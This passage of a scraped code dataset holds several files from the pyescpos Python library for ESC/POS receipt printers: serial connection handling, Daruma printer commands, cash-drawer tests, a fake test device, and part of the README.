NetworkConnection\nfrom .serial import SerialConnection\n\n\n__all__ = [\n 'BluetoothConnection',\n 'DummyConnection',\n 'FileConnection',\n 'NetworkConnection',\n 'SerialConnection',]\n\n\nBLUETOOTH = 'bluetooth'\nDUMMY = 'dummy'\nFILE = 'file'\nNETWORK = 'network'\nSERIAL = 'serial'\n\n\nConnectionTypeInfo = namedtuple('ConnectionTypeInfo', [\n 'name', # friendly name\n 'fqname', # fully qualified name\n 'type',])\n\n\nCONNECTION_TYPES = (\n (BLUETOOTH, ConnectionTypeInfo(\n name='Bluetooth',\n fqname='escpos.conn.bt.BluetoothConnection',\n type=BluetoothConnection)),\n\n (DUMMY, ConnectionTypeInfo(\n name='Dummy',\n fqname='escpos.conn.dummy.DummyConnection',\n type=DummyConnection)),\n\n (FILE, ConnectionTypeInfo(\n name='File',\n fqname='escpos.conn.file.FileConnection',\n type=FileConnection)),\n\n (NETWORK, ConnectionTypeInfo(\n name='Network',\n fqname='escpos.conn.network.NetworkConnection',\n type=NetworkConnection)),\n\n (SERIAL, ConnectionTypeInfo(\n name='Serial (RS-232)',\n fqname='escpos.conn.serial.SerialConnection',\n type=SerialConnection)),\n )\n\"\"\"Known implementations for connection with printers.\"\"\"\n" }, { "alpha_fraction": 0.5677012205123901, "alphanum_fraction": 0.5768755078315735, "avg_line_length": 26.395721435546875, "blob_id": "53f8b5aa245ecd4af069bf9605803c8587252034", "content_id": "368b6081dafb3581f83a218a973e406412e88b7d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15369, "license_type": "permissive", "max_line_length": 79, "num_lines": 561, "path": "/escpos/conn/serial.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/serial.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport os\nimport sys\n\nimport serial as pyserial\nfrom six import string_types\n\nfrom ..helpers import TimeoutHelper\nfrom ..helpers import chunks\nfrom ..helpers import hexdump\n\n\nDEFAULT_READ_TIMEOUT = 1\n\nDEFAULT_WRITE_TIMEOUT = 1\n\nDEFAULT_PROTOCOL_TIMEOUT = 5\n\n\nRTSCTS = 'RTSCTS'\nDSRDTR = 'DSRDTR'\nXONXOFF = 'XONXOFF'\n\nFLOW_CONTROL_PROTOCOLS = (\n (RTSCTS, 'Hardware RTS/CTS'),\n (DSRDTR, 'Hardware DSR/DTR'),\n (XONXOFF, 'Software XOn/XOff'),)\n\n\ndef scan_ports():\n \"\"\"\n Scan for known serial ports available in the underling system.\n Returns a tuple of tuples where each inner tuple contains the port\n number and port name. For example:\n\n .. sourcecode:: python\n\n scan_ports()\n ((0, '/dev/ttyS0'), (1, '/dev/ttyS1'), ...)\n\n \"\"\"\n names = []\n for number in range(256):\n try:\n # attempt attr `name` for PySerial >= 2.5-rc2,\n # where attr `portstr` is for older PySerial versions\n s = pyserial.Serial(number)\n name = getattr(s, 'name', getattr(s, 'portstr', str(number)))\n names.append((number, name,))\n except:\n pass\n return tuple(names)\n\n\ndef get_port_name(port_number):\n \"\"\"\n Scans for the given port number and return its name.\n If port number does not exists, returns ``None``.\n \"\"\"\n for number, name in scan_ports():\n if number == port_number:\n return name\n return None\n\n\ndef get_port_number(port_name):\n \"\"\"\n Scans for the given port name and return its numeric value.\n If port name cannot be found, returns ``None``. Not that the port name is\n case-sensitive.\n \"\"\"\n for number, name in scan_ports():\n if name == port_name:\n return number\n return None\n\n\ndef get_baudrates():\n \"\"\"\n Returns supported baud rates in a Django-like choices tuples.\n \"\"\"\n baudrates = []\n s = pyserial.Serial()\n for name, value in s.getSupportedBaudrates():\n baudrates.append((value, name,))\n return tuple(baudrates)\n\n\ndef get_databits():\n \"\"\"\n Returns supported byte sizes in a Django-like choices tuples.\n \"\"\"\n databits = []\n s = pyserial.Serial()\n for name, value in s.getSupportedByteSizes():\n databits.append((value, name,))\n return tuple(databits)\n\n\ndef get_stopbits():\n \"\"\"\n Returns supported stop bit lengths in a Django-like choices tuples.\n \"\"\"\n stopbits = []\n s = pyserial.Serial()\n for name, value in s.getSupportedStopbits():\n stopbits.append((value, name,))\n return tuple(stopbits)\n\n\ndef get_parities():\n \"\"\"\n Returns supported parities in a Django-like choices tuples.\n \"\"\"\n parities = []\n s = pyserial.Serial()\n for name, value in s.getSupportedParities():\n parities.append((value, name,))\n return tuple(parities)\n\n\ndef get_protocols():\n \"\"\"\n Returns available protocols in a Django-like choices tuples.\n \"\"\"\n return FLOW_CONTROL_PROTOCOLS\n\n\nclass SerialSettings(object):\n \"\"\"\n Holds serial port configurations.\n \"\"\"\n\n def __init__(self, **kwargs):\n self._port = None\n self._baudrate = None\n self._databits = None\n self._stopbits = None\n self._parity = None\n self._protocol = RTSCTS\n\n # maps kwargs to already defined self attributes\n for key, value in kwargs.items():\n attribute = '_%s' % key\n if not hasattr(self, attribute):\n raise AttributeError('%s has no attribute \\'%s\\'' % (\n self.__class__.__name__, key,))\n setattr(self, attribute, value)\n\n self._portname = ''\n self._fix_port_assignment()\n\n\n def __repr__(self):\n value = '%s(port=%s, baudrate=%s, databits=%s, stopbits=%s, '\\\n 'parity=\"%s\", protocol=\"%s\")' % (\n self.__class__.__name__,\n self._port,\n self._baudrate,\n self._databits,\n self._stopbits,\n self._parity,\n self._protocol,)\n return value\n\n\n def __str__(self):\n # eg: \"/dev/ttyS0:9600:8:1:N:RTSCTS\"\n value = ':'.join([\n self._portname,\n self._baudrate,\n self._databits,\n self._stopbits,\n self._parity,\n self._protocol,])\n return value\n\n\n def __unicode__(self):\n return unicode(self.__str__())\n\n\n @property\n def portname(self):\n return self._portname\n\n\n @property\n def port(self):\n return self._port\n\n\n @port.setter\n def port(self, value):\n for number, name in scan_ports():\n if value == number:\n self._port = number\n self._portname = name\n break\n elif value == name:\n self._port = number\n self._portname = name\n break\n else:\n raise ValueError('Given port name/number does not exists: '\n '%s (%r)' % (value, value,))\n\n\n @property\n def baudrate(self):\n return self._baudrate\n\n\n @baudrate.setter\n def baudrate(self, value):\n if value not in [v for v,n in get_baudrates()]:\n raise ValueError('Unsupported baud rate value: %s' % value)\n self._baudrate = value\n\n\n @property\n def databits(self):\n return self._databits\n\n\n @databits.setter\n def databits(self, value):\n if value not in [v for v,n in get_databits()]:\n raise ValueError('Unsupported byte size value: %s' % value)\n self._databits = value\n\n\n @property\n def stopbits(self):\n return self._stopbits\n\n\n @stopbits.setter\n def stopbits(self, value):\n if value not in [v for v,n in get_stopbits()]:\n raise ValueError('Unsupported stop bits value: %s' % value)\n self._stopbits = value\n\n\n @property\n def parity(self):\n return self._parity\n\n\n @parity.setter\n def parity(self, value):\n if value not in [v for v,n in get_parities()]:\n raise ValueError('Unsupported parity value: %s' % value)\n self._parity = value\n\n\n @property\n def protocol(self):\n return self._protocol\n\n\n @protocol.setter\n def protocol(self, value):\n if value not in [v for v,n in get_protocols()]:\n raise ValueError('Unknown protocol: %s' % value)\n self._protocol = value\n\n\n def is_rtscts(self):\n return self.protocol == RTSCTS\n\n\n def is_dsrdtr(self):\n return self.protocol == DSRDTR\n\n\n def is_xonxoff(self):\n return self.protocol == XONXOFF\n\n\n def get_connection(self, **kwargs):\n \"\"\"Return a serial connection implementation suitable for the specified\n protocol. Raises ``RuntimeError`` if there is no implementation for\n the given protocol.\n\n .. warn::\n\n This may be a little bit confusing since there is no effective\n connection but an implementation of a connection pattern.\n\n \"\"\"\n if self.is_rtscts():\n return RTSCTSConnection(self, **kwargs)\n\n if self.is_dsrdtr():\n return DSRDTRConnection(self, **kwargs)\n\n else:\n raise RuntimeError('Serial protocol \"%s\" is not available.' % (\n self.protocol))\n\n\n def _fix_port_assignment(self):\n \"\"\"\n The :attr:`port` attribute can be set either by name or by its numeric\n value. This method attempt to fix the semantics of name/number as its\n extremely convenient.\n \"\"\"\n\n port_name = ''\n port_number = None\n\n if self._port:\n if isinstance(self._port, int):\n port_number = self._port\n port_name = get_port_name(port_number)\n elif isinstance(self._port, string_types):\n port_name = self._port\n port_number = get_port_number(port_name)\n else:\n raise ValueError('Cannot assign port name/number '\n 'based on port assignment type %r' % self._port)\n\n self._port = port_number\n self._portname = port_name or ''\n\n\n @staticmethod\n def as_from(value):\n \"\"\"\n Constructs an instance of :class:`SerialSettings` from a string\n representation, that looks like ``/dev/ttyS0:9600,8,1,N,RTSCTS``,\n describing, in order, the serial port name, baud rate, byte size,\n stop bits, parity and flow control protocol.\n\n Valid string representations are (in cases where protocol is not\n specified, RTS/CTS is assumed)::\n\n COM1:115000,8,1,E\n COM1:115000:8:1:E\n COM4:9600:8:2:O:DSRDTR\n /dev/ttyS0:9600,8,1,N,RTSCTS\n /dev/ttyS0,9600,8,1,N\n\n \"\"\"\n keys = ['port','baudrate','databits','stopbits','parity','protocol']\n values = value.replace(',', ':').split(':')\n\n if len(values) == 5:\n values.append(RTSCTS)\n\n if len(keys) != len(values):\n raise ValueError('Unknown serial port string format: %s '\n '(expecting something like \"COM1:9600,8,1,N,RTSCTS\")' % (\n value,))\n\n kwargs = dict(zip(keys, values))\n kwargs['baudrate'] = int(kwargs['baudrate'])\n kwargs['databits'] = int(kwargs['databits'])\n kwargs['stopbits'] = int(kwargs['stopbits'])\n\n return SerialSettings(**kwargs)\n\n\nclass SerialConnection(object):\n\n SETTINGS_EXAMPLE = '/dev/ttyS0:9600,8,1,N,RTSCTS'\n\n\n def __init__(self, settings,\n read_timeout=DEFAULT_READ_TIMEOUT,\n write_timeout=DEFAULT_WRITE_TIMEOUT,\n protocol_timeout=DEFAULT_PROTOCOL_TIMEOUT):\n\n super(SerialConnection, self).__init__()\n\n self.settings = settings\n \"\"\"Serial settings as an instance of :class:`SerialSettings`.\"\"\"\n\n self.comport = None\n \"\"\"The gateway to the serial communications port, usually an\n instance of ``serial.Serial`` from the **PySerial** library.\n \"\"\"\n\n self.read_timeout = read_timeout\n\n self.write_timeout = write_timeout\n\n self.protocol_timeout = protocol_timeout\n\n self.device_encoding = 'CP850'\n\n self.hex_dump = True\n\n\n def __del__(self):\n if self.comport is not None:\n if self.comport.isOpen():\n self.comport.close()\n\n\n @property\n def protocol_timeout(self):\n return self._protocol_timeout\n\n\n @protocol_timeout.setter\n def protocol_timeout(self, value):\n self._protocol_timeout = value\n self._ptimeout = TimeoutHelper(timeout=self._protocol_timeout)\n\n\n def is_clear_to_write(self):\n raise NotImplementedError()\n\n\n def wait_to_write(self):\n self._ptimeout.set()\n while self._ptimeout.check():\n if self.is_clear_to_write():\n break\n\n\n def write(self, data):\n \"\"\"Write data to serial port.\"\"\"\n for chunk in chunks(data, 512):\n self.wait_to_write()\n self.comport.write(chunk)\n self.comport.flush()\n\n\n def read(self):\n \"\"\"Read data from serial port and returns a ``bytearray``.\"\"\"\n data = bytearray()\n while True:\n incoming_bytes = self.comport.inWaiting()\n if incoming_bytes == 0:\n break\n else:\n content = self.comport.read(size=incoming_bytes)\n data.extend(bytearray(content))\n return data\n\n\n def catch(self):\n if self.comport is not None:\n if self.comport.isOpen():\n self.comport.close()\n\n factory = _SerialDumper if self.hex_dump else pyserial.Serial\n port = self.settings.port\n\n if port is None:\n port = self.settings.portname\n\n self.comport = factory(\n port=port,\n baudrate=self.settings.baudrate,\n bytesize=self.settings.databits,\n stopbits=self.settings.stopbits,\n parity=self.settings.parity,\n rtscts=self.settings.is_rtscts(),\n dsrdtr=self.settings.is_dsrdtr(),\n xonxoff=self.settings.is_xonxoff(),\n timeout=self.read_timeout,\n writeTimeout=self.write_timeout)\n\n if not self.comport.isOpen():\n self.comport.open()\n\n self.comport.setRTS(level=1)\n self.comport.setDTR(level=1)\n self.comport.flushInput()\n self.comport.flushOutput()\n\n\n def unicode_to_device_encoding(self, unicode_string):\n return unicode_string.encode('utf-8').decode(self.device_encoding)\n\n\n def unicode_to_bytearray(self, unicode_string, errors='ignore'):\n device_encoded_string = self.unicode_to_device_encoding(unicode_string)\n return bytearray(device_encoded_string,\n encoding=self.device_encoding,\n errors=errors)\n\n\n @staticmethod\n def create(settings_string):\n \"\"\"\n Creates a serial RS232 connection based on a settings string. Calling\n this method is a shortcut for:\n\n .. sourcecode:: python\n\n settings = SerialSettings.as_from('/dev/ttyS0:9200,8,1,N,RTSCTS')\n conn = settings.get_connection()\n\n See method :meth:`~escpos.serial.SerialSettings.as_from` for details.\n \"\"\"\n settings = SerialSettings.as_from(settings_string)\n return settings.get_connection()\n\n\nclass RTSCTSConnection(SerialConnection):\n \"\"\"Implements a RTS/CTS aware connection.\"\"\"\n\n def is_clear_to_write(self):\n return self.comport.getCTS()\n\n\nclass DSRDTRConnection(SerialConnection):\n \"\"\"Implements a DSR/DTR aware connection.\"\"\"\n\n def is_clear_to_write(self):\n return self.comport.getDSR()\n\n\nclass _SerialDumper(pyserial.Serial):\n \"\"\"\n This class is used as a wrapper for ``pyserial.Serial`` to allow dumping\n the data that is about to be sent over the serial connection. For example:\n\n .. sourcecode:: python\n\n settings = SerialSettings.as_from('/dev/ttyS5:9600,8,1,N')\n printer = GenericESCPOS(settings.get_device())\n printer.init()\n 1b 40 .@\n\n printer.text('Hello World!')\n 48 65 6c 6c 6f 20 57 6f 72 6c 64 21 Hello World!\n 0a .\n\n \"\"\"\n\n def write(self, data):\n if sys.stdout.isatty():\n sys.stdout.write(hexdump(data))\n sys.stdout.write(os.linesep)\n super(_SerialDumper, self).write(data)\n" }, { "alpha_fraction": 0.6892725229263306, "alphanum_fraction": 0.729346513748169, "avg_line_length": 29.60377311706543, "blob_id": "6cc9fdfac63d76dd23f70ed1f00b0333d39d20f8", "content_id": "fb0d95bf66159c039852fb30818abfb5c5e71efc", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1622, "license_type": "permissive", "max_line_length": 78, "num_lines": 53, "path": "/escpos/tests/test_elgin_i9.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_elgin_i9.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom escpos.exceptions import CashDrawerException\nfrom escpos.impl.elgin import ElginI9\n\n\[email protected](scope='module')\ndef printer():\n return ElginI9(pytest.FakeDevice())\n\n\ndef test_has_model_attr(printer):\n assert hasattr(printer, 'model')\n\n\ndef test_kick_drawer(printer):\n printer.kick_drawer()\n assert printer.device.write_buffer == '\\x1B\\x70\\x00\\x20\\xe8'\n\n\ndef test_kick_drawer_unavailable_port(printer):\n with pytest.raises(CashDrawerException):\n # Elgin I9 has only one cash drawer port\n printer.kick_drawer(port=1)\n\n\ndef test_kick_drawer_custom_pulse_duration(printer):\n printer.kick_drawer(duration=100) # 100ms (resulting t1='\\x20', t2='\\x84')\n assert printer.device.write_buffer == '\\x1B\\x70\\x00\\x20\\x84'\n\n\ndef test_kick_drawer_custom_pulse_duration_explicit_interval(printer):\n printer.kick_drawer(t1='\\x64', t2='\\xC8') # t1=100ms, t2=200ms\n assert printer.device.write_buffer == '\\x1B\\x70\\x00\\x64\\xC8'\n" }, { "alpha_fraction": 0.5702929496765137, "alphanum_fraction": 0.5935521721839905, "avg_line_length": 26.391128540039062, "blob_id": "4473d605a2a0cc3547725d575cf962e1c151ce0f", "content_id": "f09c6f6ad93fe10b67bef6f0e7574e73ef8c2e9c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6793, "license_type": "permissive", "max_line_length": 79, "num_lines": 248, "path": "/escpos/impl/daruma.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/impl/daruma.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\n `Daruma Urmet <http://www.daruma.com.br/>`_ ESC/POS printer implementation.\n\"\"\"\n\nimport time\n\nfrom .. import asc\nfrom .. import barcode\nfrom .. import feature\nfrom ..helpers import _Model\nfrom .epson import GenericESCPOS\n\n\n_VENDOR = u'Urmet Daruma'\n\n\n_QRCODE_MAX_DATA_SIZE = 700\n_QRCODE_ECC_LEVEL_AUTO = 0\n_QRCODE_MODULE_SIZE_AUTO = 0\n\n\n_EAN13_ID = 1\n_EAN8_ID = 2\n_CODE128_ID = 5\n\n\nclass DarumaGeneric(GenericESCPOS):\n \"\"\"\n Base implementation for Urmet Daruma ESC/POS mini-printers.\n \"\"\"\n\n model = _Model(name=u'Generic Daruma', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(DarumaGeneric, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: False,\n feature.CASHDRAWER_PORTS: True,\n feature.CASHDRAWER_AVAILABLE_PORTS: 1,\n })\n self.hardware_features.update(features)\n\n\n def justify_center(self):\n self.device.write('\\x1B\\x6A\\x01')\n\n\n def justify_left(self):\n self.device.write('\\x1B\\x6A\\x00')\n\n\n def justify_right(self):\n self.device.write('\\x1B\\x6A\\x02')\n\n\n def set_expanded(self, flag):\n param = '\\x01' if flag else '\\x00'\n self.device.write('\\x1B\\x57' + param)\n\n\n def set_condensed(self, flag):\n self.device.write(chr(asc.SI) if flag else chr(asc.DC2))\n\n\n def set_emphasized(self, flag):\n self.device.write(chr(asc.DC1) if flag else chr(asc.DC3))\n\n\n def cut(self, partial=True):\n \"\"\"\n Trigger cutter to perform full paper cut.\n\n .. note::\n\n Daruma ESC/POS command set does not offer control over full or\n partial cut directly through cutter trigger command.\n\n \"\"\"\n if self.hardware_features.get(feature.CUTTER, False):\n self.device.write('\\x1B\\x6d')\n\n\n def _barcode_impl(self, processed_data, symbology, **kwargs):\n barcode_height = _translate_barcode_height(\n kwargs.get('barcode_height', 50))\n\n barcode_width = _translate_barcode_width(\n kwargs.get('barcode_width', barcode.BARCODE_NORMAL_WIDTH))\n\n barcode_hri = _translate_barcode_hri(\n kwargs.get('barcode_hri', barcode.BARCODE_HRI_NONE))\n\n command = '\\x1B\\x62{}{}{}{}{}\\x00'.format(\n chr(symbology),\n chr(barcode_width),\n chr(barcode_height),\n chr(barcode_hri),\n processed_data)\n\n self.device.write(command)\n time.sleep(0.25)\n response = self.device.read()\n return response\n\n\n def _ean13_impl(self, data, **kwargs):\n return self._barcode_impl(data[:12], _EAN13_ID, **kwargs)\n\n\n def _ean8_impl(self, data, **kwargs):\n return self._barcode_impl(data[:7], _EAN8_ID, **kwargs)\n\n\n def _code128_impl(self, data, **kwargs):\n return self._barcode_impl(data, _CODE128_ID, **kwargs)\n\n\n def _qrcode_impl(self, data, **kwargs):\n\n qrcode_ecc_level = _translate_qrcode_ecc_level(\n kwargs.get('qrcode_ecc_level', None)) or _QRCODE_ECC_LEVEL_AUTO\n\n qrcode_module_size = _translate_qrcode_module_size(\n kwargs.get('qrcode_module_size', None)) or \\\n _QRCODE_MODULE_SIZE_AUTO\n\n data_length = len(data)\n\n if data_length > _QRCODE_MAX_DATA_SIZE:\n raise ValueError('Too much data: %d length (max allowed is %d)' % (\n data_length, _QRCODE_MAX_DATA_SIZE,))\n\n size_L = data_length >> 8\n size_H = (data_length & 255) + 2\n\n command = '\\x1B\\x81' + \\\n chr(size_H) + chr(size_L) + \\\n chr(qrcode_module_size) + \\\n chr(qrcode_ecc_level) + \\\n data\n\n self.device.write(command)\n time.sleep(0.5)\n response = self.device.read()\n return response\n\n\n def _kick_drawer_impl(self, port=0, **kwargs):\n self.device.write('\\x1B\\x70')\n\n\nclass DR700(DarumaGeneric):\n \"\"\"\n Urmet Daruma DR700 thermal printer implementation.\n Support models DR700 L/H/M and DR700 L-e/H-e.\n \"\"\"\n\n model = _Model(name=u'Daruma DR700', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(DR700, self).__init__(device)\n self.hardware_features.update({\n feature.COLUMNS: feature.Columns(\n normal=48,\n expanded=24,\n condensed=57)\n })\n self.hardware_features.update(features)\n\n\nclass DR800(DarumaGeneric):\n \"\"\"\n Urmet Daruma DR800 thermal printer implementation.\n Support models DR800 L and H.\n \"\"\"\n\n model = _Model(name=u'Daruma DR800', vendor=_VENDOR)\n\n\n def __init__(self, device, features=None):\n super(DR800, self).__init__(device)\n self.hardware_features.update({feature.CUTTER: True})\n self.hardware_features.update(features or {})\n\n\ndef _translate_barcode_height(value):\n return 50 if value < 50 else value\n\n\ndef _translate_barcode_width(value):\n values = {\n barcode.BARCODE_NORMAL_WIDTH: 2,\n barcode.BARCODE_DOUBLE_WIDTH: 3,\n barcode.BARCODE_QUADRUPLE_WIDTH: 5,\n }\n return values.get(value)\n\n\ndef _translate_barcode_hri(value):\n values = {\n barcode.BARCODE_HRI_NONE: 0,\n barcode.BARCODE_HRI_TOP: 0,\n barcode.BARCODE_HRI_BOTTOM: 1,\n barcode.BARCODE_HRI_BOTH: 0,\n }\n return values.get(value)\n\n\ndef _translate_qrcode_ecc_level(value):\n values = {\n barcode.QRCODE_ERROR_CORRECTION_L: 77, # \"L\" == \"M\"\n barcode.QRCODE_ERROR_CORRECTION_M: 77,\n barcode.QRCODE_ERROR_CORRECTION_Q: 81,\n barcode.QRCODE_ERROR_CORRECTION_H: 72\n }\n return values.get(value, None)\n\n\ndef _translate_qrcode_module_size(value):\n values = {\n barcode.QRCODE_MODULE_SIZE_4: 4,\n barcode.QRCODE_MODULE_SIZE_5: 5,\n barcode.QRCODE_MODULE_SIZE_6: 6,\n barcode.QRCODE_MODULE_SIZE_7: 7,\n barcode.QRCODE_MODULE_SIZE_8: 7, # 8 == 7\n }\n return values.get(value, None)\n" }, { "alpha_fraction": 0.6378758549690247, "alphanum_fraction": 0.6442738175392151, "avg_line_length": 23.046154022216797, "blob_id": "610667a60f48932ec0ababd5afdf8978af28054d", "content_id": "3fe77638040c1f45695d942cd87f424e493eaadd", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1563, "license_type": "permissive", "max_line_length": 74, "num_lines": 65, "path": "/escpos/tests/conftest.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/conftest.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nclass FakeDevice(object):\n \"\"\"\n A fake device for testing printer implementations.\n \"\"\"\n\n def __init__(self):\n super(FakeDevice, self).__init__()\n self._write_buffer = []\n self._read_buffer = ''\n\n\n @property\n def write_buffer(self):\n # write buffer is emptied once read\n content = ''.join(self._write_buffer)\n self._write_buffer[:] = []\n return content\n\n\n @property\n def read_buffer(self):\n # read buffer is emptied once read\n content = self._read_buffer\n self._read_buffer = ''\n return content\n\n\n @read_buffer.setter\n def read_buffer(self, value):\n self._read_buffer = value\n\n\n def catch(self):\n pass\n\n\n def write(self, data):\n self._write_buffer.extend(list(data))\n\n\n def read(self):\n return self.read_buffer\n\n\ndef pytest_namespace():\n return {'FakeDevice': FakeDevice}\n" }, { "alpha_fraction": 0.5101832151412964, "alphanum_fraction": 0.5318078398704529, "avg_line_length": 40.01935577392578, "blob_id": "7e851f590e1df34d169a2fdab4038f175aeac009", "content_id": "f7c06f03a0e098e0cf3f6873660f6d54152e6e79", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 12725, "license_type": "permissive", "max_line_length": 109, "num_lines": 310, "path": "/README.rst", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "\nPyESCPOS\n========\n\n.. image:: https://img.shields.io/pypi/status/pyescpos.svg\n :target: https://pypi.python.org/pypi/pyescpos/\n :alt: Development status\n\n.. image:: https://img.shields.io/pypi/pyversions/pyescpos.svg\n :target: https://pypi.python.org/pypi/pyescpos/\n :alt: Supported Python versions\n\n.. image:: https://img.shields.io/pypi/l/pyescpos.svg\n :target: https://pypi.python.org/pypi/pyescpos/\n :alt: License\n\n.. image:: https://img.shields.io/pypi/v/pyescpos.svg\n :target: https://pypi.python.org/pypi/pyescpos/\n :alt: Latest version\n\n-------\n\nA Python support for Epson |copy| ESC/POS |reg| compatible printers. Read more\nat `Epson ESCPOS FAQ`_ (PDF document).\n\nThis project is inspired on Manuel F. Martinez work for `python-escpos`_\nimplementation, among other projects, whose specific bits of work (available\nhere on Github and many other open-source repositories) has helped so much.\n\nThe ESC/POS |reg| is a standard that every manufacturer tend to modify to suit\ntheir (even already implemented) needs. Indeed, there is no standard but\nsomething awkward, an illusion of a standard. On the surface, one can say\nthat it's pretty much the same, but when you look just a little bit more deeper,\nyou quickly realize that they are almost completely different, even between\nmodels belonging to the same manufacturer.\n\nThis project aims to make viable the use, at the *point-of-sale* (POS), of\ndifferent printers (the most common ones, at least) that are minimally based on\nESC/POS |reg| standard, without need to modify the client application code. To\nachieve this, it is necessary to set a lowest common denominator between\nneeded features and provide implementations that seek to meet this minimum.\n\n\nCurrent Implementations\n=======================\n\nCurrent implementations was tested against following hardware:\n\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| Manufacturer | Models | Firmware Versions | Notes |\n+=========================+===================+===================+=========================================+\n| `Bematech S/A`_ | MP-4200 TH | 1.3, 1.6 | |\n| | | | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Epson`_ | TM-T20 | 1.14 | |\n| | | | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Elgin`_ | Elgin i9 | 1.03.20, | |\n| | | 1.03.24, | |\n| | | 1.03.31 | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Elgin`_ | Elgin i7 | 1.00.08 | |\n| | | | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Elgin`_ | Elgin RM-22 | 1.00.09 | Elgin RM-22 portable thermal mini |\n| | | | printer |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Nitere`_ | NPDV-1020 | - | Multifunction Terminal model TMF-101/IG |\n| | | | (an alias for CB55-C model) |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| Unknown OEM | CB55-C | 1.3.5 | Embedded in `Nitere`_ NPDV-1020 (model |\n| | | | TMF-101/IG) |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Urmet Daruma`_ | DR700 L/H/M and | 02.51.00, | |\n| | DR700 L-e/H-e | 01.20.00, | |\n| | | 01.21.00 | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n| `Urmet Daruma`_ | DR800 L/H | 03.13.01 | |\n| | | | |\n| | | | |\n+-------------------------+-------------------+-------------------+-----------------------------------------+\n\nYou can get a list of all available implementations with the following snippet:\n\n.. sourcecode:: python\n\n from escpos import helpers\n\n for impl in helpers.find_implementations(sort_by='model.name'):\n print('{:.<25} {}'.format(impl.model.name, impl.fqname))\n\nWhich produces an output similar to::\n\n Bematech MP-4200 TH...... escpos.impl.bematech.MP4200TH\n CB55-C................... escpos.impl.unknown.CB55C\n Daruma DR700............. escpos.impl.daruma.DR700\n Daruma DR800............. escpos.impl.daruma.DR800\n Elgin I7................. escpos.impl.elgin.ElginI7\n Elgin I9................. escpos.impl.elgin.ElginI9\n Elgin RM-22.............. escpos.impl.elgin.ElginRM22\n Epson TM-T20............. escpos.impl.epson.TMT20\n Generic Daruma........... escpos.impl.daruma.DarumaGeneric\n Generic ESC/POS.......... escpos.impl.epson.GenericESCPOS\n Generic Elgin............ escpos.impl.elgin.ElginGeneric\n Nitere NPDV-1020......... escpos.impl.nitere.NitereNPDV1020\n\n\nUsage Examples\n==============\n\nSerial RS232 Example\n--------------------\n\nSerial communications support requires `PySerial`_ version 2.7 or later.\n\n.. sourcecode:: python\n\n from escpos import SerialConnection\n from escpos.impl.epson import GenericESCPOS\n\n # assumes RTS/CTS for 'ttyS5' and infers an instance of RTSCTSConnection\n conn = SerialConnection.create('/dev/ttyS5:9600,8,1,N')\n printer = GenericESCPOS(conn)\n printer.init()\n printer.text('Hello World!')\n\n\nNetwork TCP/IP Example\n----------------------\n\nYou can connect to your printer through network TCP/IP interface.\n\n.. sourcecode:: 